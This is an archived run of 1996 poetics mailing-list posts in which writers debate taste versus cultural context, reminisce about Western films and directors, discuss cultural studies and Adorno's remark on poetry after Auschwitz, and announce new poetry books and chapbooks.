The Lester Thurow of poetics--a zero-sum aesthetic economy. Or Social Darwinism--survival of the most fit aesthetic. A poet's gotta do what a poet's gotta do... not to mention he's gotta preserve his vital textual fluids, which could be sapped--sapped I tell you!--by the weaker aesthetes. Who said that all poetics have an equal claim on you? Not me; that's a straw person. All I've said is that there are different aesthetics, different modes of practice, and that it's useful to take the time to understand them, and to judge a work in the context in which it was created. It always amazes me how much this claim annoys some people. Right/wrong good/bad like it/don't like it... go right ahead and choose your dichotomy. Take two, they're small. One size fits all. Me, I'm gonna listen to Trane and Ice T, Callas and Cab Calloway, Pauline Oliveras and Sonny Terry, Ian Dury, Aster Awake, *and* Laurie Anderson. No problem. I'm flexible. And I know what I like.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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65. Matt Kirschenbaum
Re: TOMORROW PEOPLE
Tue 3 Dec 1996

> *Yes, I'm intrigued by the contradictions in the result/process opposition, too.*
> *There is an emphasis (in post-modern/avant garde/querzblatz poetics) upon the*
> *process of writing, and a distaste (that 't' word again) for language as a product*

> *to be consumed.*
>
> *On the other hand, this poetics emphasises the reader's role in creating meaning,*
> *when the reader can (should?) not have access to the writing process. Is their a*
> *contradiction here, or a division between practitioners & theorists (even when*
> *contained in the same bod)?*

[snip]

> *Tom Beard.*

Take a look at Darick Chamberlain's "mock machine mock epic" _Cigarette Boy_, which is not a machine generated text but is designed to appear so; processes are on display, codes are revealed. It's interesting work and deserves to be better known.

There's an online version at http://www.qinet.com/zaius/Cig1.htm but it was originally a print text; I'm waiting on a copy from Darick and if others are interested will post more when it arrives.

--Matt

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

↑ Index

66. tmandel
the Duke
Tue 3 Dec 1996

Dan Salmon refers to "dislike of John Wayne" which was pretty general and makes political sense given his Green Berets (truly a terrible movie) and "his all-round jingoism."

Dan then goes on to concede that he is "an important figure for both film and cultural studies - not just as a reflection of his and his characters politics - but the roles he played in a multitude offilms ... use his persona to address complex issues that using a less strong character/personality would not haveadressed."

That's an acute distinction between Wayne as a carrier of cultural significance (writing bad or good, to borrow from another thread) and the significance of his ability to carry these meanings. He was an extraordinary artist. I don't admire his politics, but they should not be confounded with someone like Ronald

Reagan either. That is, they were not a stage for carrying anything out beyond forcing out a couple of really poor films.

In particular, Dan cites his naming a son Ethan -- the name of the Indian-hating character Wayne played in The Searchers. Surely this confounds the role and the real a little too directly. Or, rather, assumes that the actor did confound them.

Yet, I think perhaps Ford's 'leftism' may be as good a model as any for Wayne's 'rightism.' Unless and until seen through the work, it really didn't amount to much. Seen through the work, it is mostly interesting for its relation to that work. In that relation, it is not an unconscious fact but it is one which is being played in and against the roles with great power and shape.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

67. George Bowering

Re: M/M & westerns, deah

Tue 3 Dec 1996

> *Lash LaRue (who just died two or so months ago)*

Ron. Do you remember that when one studio haD Lash LaRue (sounds like a stripper, doesnt it?), the other studio had Whip Wilson?
>
>One of my favorite elements to those shows was how Roy & Dale would
>shift time continuums from show to show. Sometimes they were back in
>the 1880s in the "old west," other shows they had Pat Brady & his jeep
>along for the ride. It may have been my earliest exposure to a
>Brechtian device (unless one considers watching Pinky Lee's heart
>attack on the air).
>
>Ron Silliman

Yeah, but didnt Bugs Bunny do that kind of thing?

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

68. George Bowering
Re: "The Man Who Shot the Other Man"
Tue 3 Dec 1996

> *When I moved West, at age 36, I had the shock of visiting the backlots where many Westerns were filmed -- finding that those disparate loclaes were all the same locale --*

If you ever visit Old Tucson, the movie town west of Tucson, you then recognize it's little conical hill in a lot of old westerns. I hear that Old Tucson burnt down last year but that it is being rebuilt. You can also go there and see guys having (I think) mock gunfights, falling off roofs, etc. For a Canadian, very exciting, all those guns and all.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

69. George Bowering
Re: western style danish please
Tue 3 Dec 1996

> *you can pretty much figure out what it means. in danish, the word for blue jeans translates as "cowboy pants." even now, my cousins think most americans die by gunshot and own guns. they've turned down professional opportunities cuz they think the states is too violent a place to move to with their kids.*

Hey Maria, some of my relatives used to be USAmericans, and I still feel that way. Whenever I am in the US I always feel as if I could get shot any time. I mean, when US tourists cross into Canada they get bewildered and angry when told they have to leave their ordinance at the border. How will we protect ourselves, they demand to know.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]
e-mail: [redacted]

↑ Index

70. George Bowering
Re: Marlatt
Tue 3 Dec 1996

> *Who is the publisher of Daphne's new book? Is it widely available?*
>
> *charles alexander*

It was going to be published this Fall by Coach House. When CHP failed, it was picked up fast by House of Anansi, and it is gorgeous.

It's called _Taken_, and is kind of a prequel to _Ana Historic_.

Distributed in the US by

General Distribution Services, Inc.,
85 River Rock Drive, Suite 202,
Buffalo, N.Y.
14207

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]
e-mail: [redacted]

↑ Index

71. George Bowering
Re: M/M & westerns, deah
Tue 3 Dec 1996

> *i think M/M is Marilyn Munroe...*
> *e*

I thought it was Michael McLoor

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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72. George Bowering
Re: taste, judgment, etc...
Tue 3 Dec 1996

> *what are jetskis?*

People who work for LOT

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

73. George Bowering
Re: M/M & westerns, deah
Tue 3 Dec 1996

Peckinpah, Schmeckinpaw. Ford? Pooh!

My favourite western movie director has always been Budd Boettiger or however the hell you spell his name.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

74. Patrick Foley
Re: taste, judgment, etc...
Tue 3 Dec 1996

Kali,
In your latest reply to Wystan, you write:

> *I suggest that refusing to interrogate the *cultural structures* which contain and shape your taste is a problem [...]*

Why? A problem for whom, or for what?

And further:

> *Part of my experience of the movie is the interrogation of those structures; the interrogation and the response are not separable. I, too, know what I like, almost immediately. The difference seems to be that I know *why* I like it, and I think it is important to know why I like it. I also know when I *don't* like something. If I know *why* I don't like something, I'm satisfied. It's when I don't like something and I *don't* know why that the more lengthy interrogation begins. What I hear you saying is that "taste is." Again, I don't *think* so. Taste is a product of what we're raised to accept as "good" (or "bad" if you're feeling rebellious).*

Mike Boughn gave Olson as an example; no doubt Wystan had in mind the sort of tastes Pound expressed in his programmatic prose, "violent narrow tastes" maybe, maybe not. Do either of these idiosyncratic aesthetics strike you as products of what Olson or Pound were raised to accept as good? Or even as simple rebellions against same?

When you write

> *All I've said is that there are different aesthetics, different modes of practice, and that it's useful to take the time to understand them, and to judge a work in the context in which it was created.*

some of this should go without saying, of course, but a lot will depend on what kind of spin "context" is given. Is it determinative? Sentences like "Taste is a product of what we're raised to accept ..." make me a little suspicious that context is being treated as if it were something it isn't. A lot of people these days have read enough Derrida to be real interested in a work's context, but not enough to know how problematic the whole idea is and how little it explains. Does Olson's upbringing explain his "taste"? Does Wystan's?

I think we have a serious problem here. I've been thinking on & off for days about what Maria Damon says, that she's interested in the "cultural work" (just a quote, not a scare-quote) done by a work. That made me a little nervous, because I would hate to see a poem treated more as a source in a project for writing the history of the present than as, well, a poem. You can do that; you

can read Dickens in a history class too, and that's one way to approach a work, mining it for information -- but I'd hate to see that confused with something else (which goes nameless here since I can' think how to characterize it).

But I'm sure I can live with Maria's idea, construed any number of ways. Olson damn sure thought he was doing cultural work, Pound too. There's a number of ways to look at this. What I'm not sure I can accept is the version you present here, Kali, the impersonal machinery of history molding our tastes -- and probably our art too? All we can do is interrogate the structures -- within which we are constrained? Prisoners mapping the panopticon?

That's a bit over-the-top perhaps. But of all things, art is always going to have an irreducible residuum of individuality that should give the lie to this sort of simplification. Aren't you really hypostatizing these cultural structures? What happens when you get down to cases? Is it writer against cultural structure or writer against editor? (Maria? Which was it?) I know what Foucault said -- "People know what they do, most people even know why they do what they do, but what they don't know is what what they do does." But it is still the individual actor, and treating the aggregate patterns of people's behaviours as real things in themselves will always miss the trees for the forest. It's like a gambler's fallacy -- you think the odds must be in your favour after rolling the dice for three days straight, when the odds for the individual throw are the same every time, no matter what probability says. Confusion of levels.

Which brings me back to the question at the top: who cares what Wystan (ours or history's) thinks? or Olson? or Pound? As Mike said, and as Wystan has indicated, the thinking is tied up with finding a way to create something -- these guys aren't legislating anything. They're not laying down any laws for society. You seem to see them all, Kali, as would-be Secretaries of the Interior, deciding who gets what forests where, with what trees, and what use to be made of them, etc. But they're not manipulating cultural structures per se -- nobody can, that's the whole point. (The emergence of confinement as the principal form of punishment just happened -- nobody did it, says Michel.) Pound & Olson & Wystan & Mike & you & I participate in whatever will one day turn out to have happened. Enough of that -- the point is thinking only in terms of the aggregates, the cultural structures, has this sort of twin danger of treating individuals as powerless (the usual complaint against Foucault) or as somehow all-powerful, as if Wystan's taste and how he got it was a problem, a danger. And that's a confusion of levels, trees and forests, gamblers and odds.

Sorry if in chopping up your post I have misrepresented you -- or if I've done so in some other fashion. I've put some words in your mouth, certainly, but only to hash this out a little. Feel free to restore whatever subtlety I have shorn away from your position.

Pat

↑ Index

75. **DS**
Re: jetskis
Tue 3 Dec 1996

I wasn't sure, but hoped the tone of my 'apology' was suitably pompous to allow a modicum of humour. I wasn't really taking it seriously anyway. Damn funny though, thanks for keeping me amused as i log 15 hours of crowded bloody house video footage.

dan

At 09:17 PM 12/2/96 -0600, you wrote:
>hey listen. i was kidding around. goofing around. horsing around. pulling
>your leg. i didn't think it was really an ethnic slur. okay? --your pal,
maria
>d
>
>I

↑ Index

76. **DS**
Re: taste, judgment, etc...
Tue 3 Dec 1996

---

what is LOT?

At 12:45 AM 12/3/96 -0800, you wrote:
>>what are jetskis?
>
>People who work for LOT
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

>e-mail: [redacted]
>
>

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77. Carnography
Val Demar's Pear - New Chapbook Available
Tue 3 Dec 1996

Listserv people:

I wanted you to know that my chapbook, which is dirt-cheap, and exquisitely designed by Brian Clark, is available from the following sources:

The Publisher:

Brian Clark
Permeable Press
[redacted]
http://www.armory.com/~jay/permeable.html
2336 Market St #14 * San Francisco CA 94114

The Author:

[redacted]
http://www.interport.net/~scrypt
P.O. Box 2214
New York, NY 10009

(I have to pay P+H, so it's cheaper to get the book from Brian.)

Val Demar's Pear, by Rob Hardin
Price: 3.00. ISBN 1-882633-22-9

The prose is unapologetically ornate. The cover features an etching by David Ouimet of Firewater and Jim Fetus.

Inside, there is a color-printed chart of Poe's rooms from "Masque of the Red Death interpreted as pitches, and written music showing the pitch classes of the rooms (as interpreted by Pythagoras and by the author).

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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78. Carnography
The Pataphysical Pranks of Jacques Servin
Tue 3 Dec 1996

I've always enjoyed Jacques Servin's delicate, elegant word play. Do any of the rest of you know his writing?

In addition to being a witty stylist, Jacques is also an expert C ++ programmer. Last month, Jacques made CD-ROM history by programming homoerotic acts into SIMCOPTER, a mass-market game that shipped before the company (which also makes SIMCITY) managed to notice. _Wired_ and a few other mags will be doing articles on this. If you're going to quit your job, J. told me, you might as well mutate society in the process.

Jacques Servin's URL (where you can read excerpts from his collection, _Aviary Slag_ [Fiction Collective]): http://www.quake.net:80/~jacq/

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

79. Michael Boughn
Costner's Earp
Tue 3 Dec 1996

I just wanted quickly to disagree with Kevin over Costner's Earp, which I thought much more interesting than Tombstone, precisely because of the overload of details which added to it's epic qualities. Maybe that's the difference--Tomstone went for the "mythic" (archetypal narrative) whereas Wyatt Earp went for the "epic" (if you think the details in the movie were bad, I guess you don't much care for the catalog of ships in the Iliad).

I don't know of any other treatment of the story that so emphasizes the Earp's as businessmen for whom the policing was just a way to bring in some cash till their family enterprises got going. My Darling Clementine, for all it's visual beauty, was laughable in terms of it's treatment of the narrative details of the legend.

Anyway, Dennis Quaid was much better as Doc Holliday than Val Kimer.

Mike
[redacted]

↑ Index

80. John Cayley
Ink Bamboo - New Publication
Tue 3 Dec 1996

*** Apologies for cross-posting and self-promotion ****

Take a break from (uncompromising) linguistic innovation and indulge in a little 'engaged orientalism'.

Available now:

Ink Bamboo (Mozhu)
poems, translations, adaptations (from Chinese)
by John Cayley
London: Agenda and Bellew, Dec. 1996
107 pp. 22x14 cm, paperback, ISBN 0 902400 57 6

Publisher's price: British Pounds 8.95.
Order it from me direct and you can have it for British Pounds 6.00 (or US Dollars 10.00).
If you order from outside the United Kingdom, please add British Pound 2.00 (or US Dollars 3.00) to cover postage.
(Book swaps may also be negotiable, by email.)
For convenience, please make cheques (checks) out to 'Wellsweep' (I can take US Dollar checks.) and send them to:
Wellsweep, 1 Grove End House, 150 Highgate Road, London NW5 1PD, UK

The book's inscriptions (are supposed to be indicative):

Yizhong always appreciates my ink sketches of bamboo. But I paint bamboo simply for the love of it, no other reason. Why should I trouble myself with whether what I do is true to the form of a real plant ... Often I've daubed and smeared for a time, and when someone sees the results they take it for hemp or rushes. If I can't convince myself that it's bamboo I've painted, how am I going to convince anyone else? I just don't know what it is that Yizhong sees.
- Ni Zan (1301-74)

... so I broke into the Palace
with a sponge and a rusty spanner.
- Stephen Morrissey

Zhuangzi and Hui Shi were strolling along a bridge over the Hao River.
'See how happy and carefree the fish are,' said Zhuangzi, 'as they swim about.'
'You're not a fish. How do you know that they're happy?'
'You're not me. How do you know that I don't.'
'OK, I don't. And if you concede that you're not a fish, then you'll admit that you have no idea about their happiness.'

'Wait a minute. When you asked me how I knew, you already implied that, somehow, I did know,' said Zhuangzi. 'I know what I know from above the Hao.'

- Translated and construed from
Zhuangzi, 17 ('The Autumn Floods').

[Translator's note: When he recalled this conversation later in life, Zhuangzi was unable to tell whether the pleasure it gave him arose from his memory of the fishes' happiness or from the free and easy pleasure he always felt when walking and talking with his more language-orientated companions.]

And a sample adaptation (from about p. 30), after Wang Wei:

Am I alone?
I seem to hear your voice ...
- or echo?

I point out, as if to you,
the ancient light
which makes the mosses glow.

So we return
each evening
to this hillside
through the deep wood.

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ: ~{?-U\02~} ~{=[i@3v0fIg~}]
^ innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
http://www.demon.co.uk/eastfield/
< - - - - -

↑ Index

81. Robert Archambeau
Re: after this
Tue 3 Dec 1996

The usual translation of Adorno's line is "No poetry after Auschwitz". You might also be interested to know about Jerome Rothenberg's repsonse to Adorno: "_Only_ poetry after Auschwitz".

Robert Archambeau

Dept of English
Lake Forest College

↑ Index

82. **tmandel**
The Beguiled
Tue 3 Dec 1996

I also recommend The Black Tower among Siegel's late films (or is it the Black Windmill -- it's almost never on the movie channels and I hadn't thought of it in years)

Also Telefon -- if I'd taken the job with Siegel, I believe this would have been the first film I'd have worked on.

The Beguiled is scarily delightful. Other than to say it's a Civil War film, I think it'd be best not to compromise the experience with pre-description.

Tom

...and then there's the treatment I sent Siegel a month or so later... doubtful I could lay my hands on it, however. Vague recollection of it being like Andre Schwarz-bart meets Tom Tryon -- final scene taking place in a burning house in Jerusalem.

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

83. **tmandel**
Absence Sensorium
Tue 3 Dec 1996

Rachel's post reminds me to announce that I have just received first copies of...

Absence Sensorium
by
Tom Mandel & Daniel Davidson

it is now available from Potes & Poets Press and also from SPD. Probably Rod will extend his usual list-deal from Bridge Street Books.

In the same breath, don't forget:

Prospect of Release
by Tom Mandel

from Chax Press. Order direct from the press at P.O. Box 848, Tucson AZ 85701-0848 or the other sources listed above.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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84. maria damon
Re: dialectics of coolness (fwd)
Tue 3 Dec 1996

matt thanks for the gary chapman post, which was certainly true but not especially original nor profound analytically; the Birmingham school folks like Paul Willis, Stuart Hall, Angela McRobbie et al have been saying this for over twenty years. And WEB Du Bois before them,etc. i've been wrestling with some of these issues in the poetry realm, hence my favorite trope the dark end of the street and its many suggestive layerings. i did back channel "the poem" that had been the subject of such a crisis to one person last week and he responded by saying, "it's amazing that the cultural critics haven't gotten hold of this kind of material." it was very, excuse the jargon, validating (thank you victor) but also ironic, because i *am* one of those cultural critics and i *have* gotten hold of this material and dont wanna let go, it's my lifeblood, and i have a great deal of trouble getting people to take seriously what i do. cultural studies people think poetry is elitist (cuz it was used on them as an instrument of torture in elementary school?) and poetry people think cultural studies is cold opportunistic sociology whose sole function is to "reduce" the poem to secondary evidence for some sociological banality. these sound like caricatures, but i encounter these roadblocks constantly in responses to manuscripts, talks, paper proposals etc. by the way things have worked out pretty well w/ that article. the poem and my analysis of it, with an explanatory note, will appear as a footnote. so, forward ever backward never etc. --maria d

↑ Index

85. Bil Brown
Re: A Poem to Share;
Tue 3 Dec 1996

Umm... Kiss me Lynda.

Bil Brown

↑ Index

86. Field of Roses
Re: Coach House lives!
Tue 3 Dec 1996

> *For more information you can subscribe to the newletter by emailing CHB at [redacted].*

I think that should be: [redacted]

Linda

↑ Index

87. Matt Kirschenbaum
Re: dialectics of coolness (fwd)
Tue 3 Dec 1996

> *matt thanks for the gary chapman post, which was certainly true but not especially original nor profound analytically; the Birmingham school folks like Paul Willis, Stuart Hall, Angela McRobbie et al have been saying this for over twenty years. And WEB Du Bois before them,etc.*

Well sure, Maria, but not in the context of electronic media. In fact, the sort of work suggested by the names you invoke above is all but non-existent in that field. As for "coolness" have a look at Alan Liu's taxonomy on his "Laws of the Cool" page (off of humanitas.ucsb.edu); it's convincing on the point that the word has evolved (or accumulated) significantly from its earlier uses.

--Matt

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

↑ Index

88. Pierre Joris
cyber-cowboys
Tue 3 Dec 1996

Last night, after enjoying the thread on cowboy flicks while gnawing on the last of the left-over turkey, I came across the following in an interview with Michel Butor (anyone still read him? Some of the last books are in fact quite extraordinary!) that appeared in *Liberation* (Nov. 14 96):

Q: Could one read *Gyroscope* (Butor's latest book, with rather interesting/wild decentered layout -- texts trying to imnitate the concept sof the gyroscope) on the Internet:

Michel Butor: Internet is a labyrinthian figure full of dangers where one can get lost and be devoured. It is a region without law, a place of pillage, the country of "outlaws." (in English in the text) It is very exciting but it can't last very long. International legislation is urgently needed. It will take a long time because liberalism is very powerful at the end of this century. For the time being it is the domain of various mafias, just as in the beginning the "Far West" (in Englsih in the text) belonged to the gangsters. Fortunately, there are also pioneers who are setting up inhabitable areas

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

↑ Index

89. Douglas Barbour
Re: westerns / & taste
Tue 3 Dec 1996

Well, I was happy to see, finally, that someone remembered that Clint Eastwood had directed so fine westerns (I really like _The Outlaw Josie Wales_), but was especially intrigued by the comments on Steve McQueen:

"Date: Mon, 2 Dec 1996 17:06:41 -0600
From: [redacted]
Subject: Re: more on westerns

anyway, as to mcqueen: much as i enjoy him, *tom horn* is just awful, no?---and it's his next-to-last flick, i think... *the hunter* was his last i believe, and this was bad too... as far as westerns, *nevada smith* with mcqueen was enjoyable, though for me mcqueen = bullit, magnificent seven, thomas crown, 'doc' in *the getaway* (near-western), and esp. 'the cooler king' in *the great escape* whose motorcycle stunts put an indelible imprint on my and my bro's young minds (and hooked us on bikes in general---so we're back to *easy rider* as a western)..."

I have to confess that it was McQueen in b&w, for half an hour each week that left 'an indelible imprint' on my young mind. There were a couple of those shows that were truly surreal.

I do think it kinda intriguing that these two threads havent quite joined up yet, as from the outside, all the commentary on westerns does seem to demonstrate the ways in which 'taste' signs personal response, & also suggests how that can happen in a variety of sites. I think it's terrific to see so many poets etc really getting involved in remembering not just the well-known films but the hidden treasures like _Johnny Guitar_, a truly wild film. Although I found Wystan's posting provocative & entertaining, I do tend to think that it's possible to make choices about 'good' & 'bad' within a variety of forms, types, kinds, but very dangerous to dismiss a 'kind' out of hand, although for each of us there are probably certain kinds that simply dont connect. But I like to think I can tell who really makes it in jazz as well as c&w, not to mention certain other kinds of music or writing or... (& I suspect a lot on here like to think the same of themselves...)

==========
========== Douglas Barbour Department of English University of Alberta Edmonton Alberta T6G 2E5 [redacted] FAX: [redacted]
'The universe opens. I close. And open, just to surprise you.' - Phyllis Webb
H: [redacted]

↑ Index

90. daniel_bouchard

Re: Boston reading

Tue 3 Dec 1996

E wrote:

> ok, i'll get my teeth together and go. i will. i really will but i don/t
dare say anything about meeting becasue i have such an abyssmal record...
e

Elliza, be sure to go at 7:00. That's the official time.

I posted 7:30 yesterday but was wrong.

Waterstone's Books is at Newbury and Exeter in the Back Bay if anyone is coming to town and unsure of the location. Newbury runs parallel to Commonwealth Ave. Back Bay is in Boston. Boston, MA.

see ya,

[redacted]

↑ Index

91. Pritchett,Pat
Re: M/M & westerns, deah
Tue 3 Dec 1996

Good for you George! It's Budd Boetticher and he's a very underrated Western auteur. Haven't seen "The Tall T" yet but I hear it's one of the best. Didn't he also do "Ride Lonesome" with Randolph Scott?

Patrick Pritchett

From: George Bowering
To: POETICS
Subject: Re: M/M & westerns, deah
Date: Tuesday, December 03, 1996 2:56AM

Peckinpah, Schmeckinpaw. Ford? Pooh!

My favourite western movie director has always been Budd Boettiger or however the hell you spell his name.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

92. **amato**
Re: dialectics of coolness (fwd)
Tue 3 Dec 1996

---

well, speaking of stuart hall and pop-culture cultural studies:

just rec'd in the mail the other day (any of you receive same?) a fold-out full-color flyer with a large pic of stuart hall's HEAD as backdrop and with the following across the front:

Stuart Hall

On
Representation

two VIDEO presentations

Representation
and the Media

Race, the
Floating Signifier

open it up and you get a high-pitched sales pitch pitched presumably to teachers---

"Hall clarlifies many of cultural studies' central ideas such as: the centrality of culture and meaning in human society, the role of language and communication in meaning, and the relationship between reality and discourse."

this in the "introductory lecture" from the first video (above)... whereas the second video is

"Pitched [no shit] at an advanced level -- suitable for upper-level classes as well as graduates and faculty -- *Race, the Floating Signifer* advances a theoretically radical argument about how racism depends upon its *discursive* construction to accomplish its destructive function of classification, exclusion and repression."

there are little snapshots in the flyer, with hall's gloss (e.g., a still of vivien leigh and hattie mcdaniel from *gone with the wind* with the gloss, "It is the body which became the totemic object, the very visibility of the evident articulation or linkage between nature and culture.")...

and there are little blurbs, offset in little multicolored rectangular boxes, writ by those enthusiastic about the video... i excerpt:

"Everyone, everywhere in the world, needs to hear Stuart Hall's words. His understanding of race, class and gender is broad, complex and illuminating. In

this insightful video he brings together theory and practice, offering new political visions and insights on race that challenge and transform."

bell hooks, Distinguish Prof. of English, CUNY

"This is a marvelous opportunity to see Stuart Hall in action -- he is a major force in the fields of communication and cultural studies. He is more than engaging, he is *spellbinding*."

Ellen Wartella, Dean, College of Communication, UT/Austin

the videos ain't cheap---they're $195 for one, with discounts for more than one...

ok: now clearly i'm engaged here in *representing*, and just as clearly i'm having problems with this entire SHOW... for one, to claim that hall is "spellbinding" is to somewhat miss the point --- or is it? --- of interrogating representation... there would seem to be little in the way of reflexiveness on the part of those who put together this representation of hall representing, or am i simply to assume that we're all, hall as well, stuck in the marketplace and should therefore wallow in it?---which, as i've said in an earlier post, is one of the liabilities of certain tendencies in cultural studies...

but even more: this is being "pitched" to instructors, by way of instruction, and here i'd say that we're in the domain of distance education/learning, and how video technologies can usurp the site of instruction... it's not that such videos can't be useful, it's just that it's easy to see how they might NOT be---esp. in light of the representational blindness of the promotional flyer... i wonder who owns/runs "the foundation for media education" (our of northampton, ma)?... "video resources for the 21st century"?... presumably watching such videos will instill in us (YUCK) the idea (to excerpt from the paraphrase they provide of hall's thinking) "that cultural studies can contest the stereotypes (gender, racial, sexual) offered up by the media by getting 'inside' the image, and subjecting the process of representation to a fierce *analytical interrogation* with the aim of making the stereotypes 'uninhabitable'"...

whether my "interrogation" has been fierce or not, i'm not in a position to say... but i *can* say that subjecting the flyer itself to such logic rather unravels the further stereotypes of teaching and of video marketing, respectively... i'll leave it to others to decode the flyer in terms of its representation of hall himself---who hails from jamaica, no?...

joe

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93. **ms**
after this
Tue 3 Dec 1996

---

i've been lurking, learning, looking for a week or so now without responding to anything whatsoever due to my newbiw status to the world of the poetical-academic.

now that's done with:

can anyone please tell me as to who first said that there could be no writing in the aftermath of the Holocaust?

i know there's a direct (and quite possibly a very famous) quote as such, that i've read somewhewre, but i can't for the life of me figure out where.

thanx again and sorry if i've bungled ny of you up with this itty-nitty-bitty query.

laytahs,
manny savopoulos
"The more things resist me the more rabid I get."
-Samuel Beckett

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94. **amato**
Re: taste, judgment, etc...
Tue 3 Dec 1996

---

i think there *is* a conceptual (and fully affective) intersection, so to speak, twixt individual agency and sociocultural constraint... i think this is what patrick is getting at...

kali seems to me to be trying to hold out against more connoisseur-driven notions of taste... wystan seems to me to be holding out against reduction of writerly (or readerly, i suppose) impulses to deterministic sociocultural machinery... surely we can speak across this divide?...

or perhaps NOT speak... that is, there would seem to be some value here in understanding how silence plays a role in these distinctions...

i might put it another way...

i might not!...

but ok: not to turn this into a religious controversy, but after reading parts of rorty's and bloom's and lentricchia's latest diatribes on literature's inspirational values, i'm willing to concede this much: that there are corresponding acts of faith associated with coming to the alphabet, to any meaning-making enterprise... i don't mean blind faith, or (necessarily---and certainly not for me)

faith in some transcendental reality... but i do believe that there is a faith situated just behind or beneath or above or beyond or on the side of [gasp] our beliefs... seems to me that this, too, is as much sociocultural as individual... but that it works at a meta-level, is often so tacit in what we say, or don't say, that it forms a sort of invisible glue that holds our thoughts and words together---for ourselves, anyway... i trust i'm not waxing too post-romantic here...

anyway, don't know if this helps, mebbe it only confuses matters more... but for me, there is the necessity at times to invoke, as much as a collective state of affairs, a place of solitude... ergo my refusal to let go of a sense of place, however...

best,

joe

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95. Pierre Joris

Cendrars lives!

Tue 3 Dec 1996

Good news on the day they discovered ice on the moon: a copy of a longish (16 pages) poem by Blaise Cendrars called "The legend of Novgorod" & published in an edition of 14 copies in Moscow in 1907 under his real name (Frederic Sauser) has just been found in a secondhand bookstore in Sofia. It will be published in France by Fata Morgana with a preface by Cendrars daughter, Miriam Cendrars. Ron Padgett, to work!

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

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96. **Judy Roitman**
Re: Johny Guitar
Tue 3 Dec 1996

> *Dislike of John Wayne is made rather easy with the benefit hindsight:*

But he looked so cute in shorts and a purse! (famous photo, where did I see it?)

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

97. **Judy Roitman**
Re: taste, judgment, etc...
Tue 3 Dec 1996

> *what is LOT?*
>
> *At 12:45 AM 12/3/96 -0800, you wrote:*
> *what are jetskis?*
>
> *People who work for LOT*

Polish national airline.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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98. **Pritchett,Pat**
Re: after this
Tue 3 Dec 1996

Hi Manny,

It was Theodor Adono who said "After Auschwitz, all poetry is barbaric." But that's a paraphrase (I think). I, too, would like the source of this quote, if anybody knows it.

Patrick Pritchett

From: ms
To: POETICS
Subject: after this
Date: Tuesday, December 03, 1996 12:16PM

i've been lurking, learning, looking for a week or so now without responding to anything whatsoever due to my newbiw status to the world of the poetical-academic.

now that's done with:

can anyone please tell me as to who first said that there could be no writing in the aftermath of the Holocaust?

i know there's a direct (and quite possibly a very famous) quote as such, that i've read somewhewre, but i can't for the life of me figure out where.

thanx again and sorry if i've bungled ny of you up with this itty-nitty-bitty query.

laytahs,
manny savopoulos
"The more things resist me the more rabid I get."
-Samuel Beckett

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99. **wkl888**
John Yau's New Book
Tue 3 Dec 1996

John Yau has asked me to forward the following announcement to appropriate e-lists, which I am glad to do. Fans of John's most recent books of poetry will be happy to know that this new volume also includes continuations of his Angel Atrapado, Genghis Chan, and Peter Lorre series.

--Walter K. Lew

****
Announcing a new book of poems and prose
****

Title: Forbidden Entries
Author: John Yau
Publisher: Black Sparrow

Address: Black Sparrow Press
24 Tenth Street
Santa Rosa, CA 95401

Tel: [redacted]
Fax: [redacted]

"The most important Chinese-American poet of our time."
Multicultural Review

"Yau twists and tweaks the language."
Booklist

